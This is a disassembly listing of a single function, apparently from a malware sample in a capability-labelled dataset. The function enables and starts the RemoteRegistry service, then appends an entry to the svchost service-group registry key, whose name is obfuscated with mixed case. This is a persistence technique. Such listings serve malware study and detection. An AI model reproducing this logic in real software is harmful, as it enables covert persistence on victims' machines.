Function at 0x402460
Capabilities:
Modify service
Query or enumerate registry value
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00402f20
push edi
mov dword [ebp - 8], 0
mov byte [ebp - 0x1010], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0x1000
lea eax, [ebp - 0x10]
push eax
push 0x80000002
push 0x42c5c4
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402545
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x1018], eax
push 0xf01ff
push str.RemoteRegistry
mov ecx, dword [ebp - 0x1018]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0
je 0x40252e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1014]
push edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push 0
push 0
mov eax, dword [ebp - 0x1014]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x10]
push ecx
push 0x80000002
push 0x42c5c4
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x402568
lea edx, [ebp - 0x10]
push edx
push 0xf003f
push 0
mov eax, dword [str.SOFTWAREmIcRoSoFtwINDoWS_ntcurrentVersion_sVChoST]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x402584
lea edx, [ebp - 0x10]
push edx
push 0xf003f
push 0
mov eax, dword [str.SOFTWAREmIcRoSoFtwINDoWS_ntcurrentVersion_sVChoST]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x1010]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x4025b2
cmp dword [ebp - 8], 0
je 0x4025b9
mov dword [ebp - 4], 1
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x1010]
push eax
call fcn.00401d80
add esp, 0x10
test eax, eax
jge 0x40264d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 8]
mov byte [edx + eax + 1], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 2
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
lea eax, [ebp + edx - 0x1011]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
mov edx, dword [ebp - 4]
lea eax, [edx + eax + 1]
push eax
lea ecx, [ebp - 0x1010]
push ecx
push 7
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
jmp 0x402651
xor eax, eax
jmp 0x40265e
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 8]
pop edi
mov esp, ebp
pop ebp
ret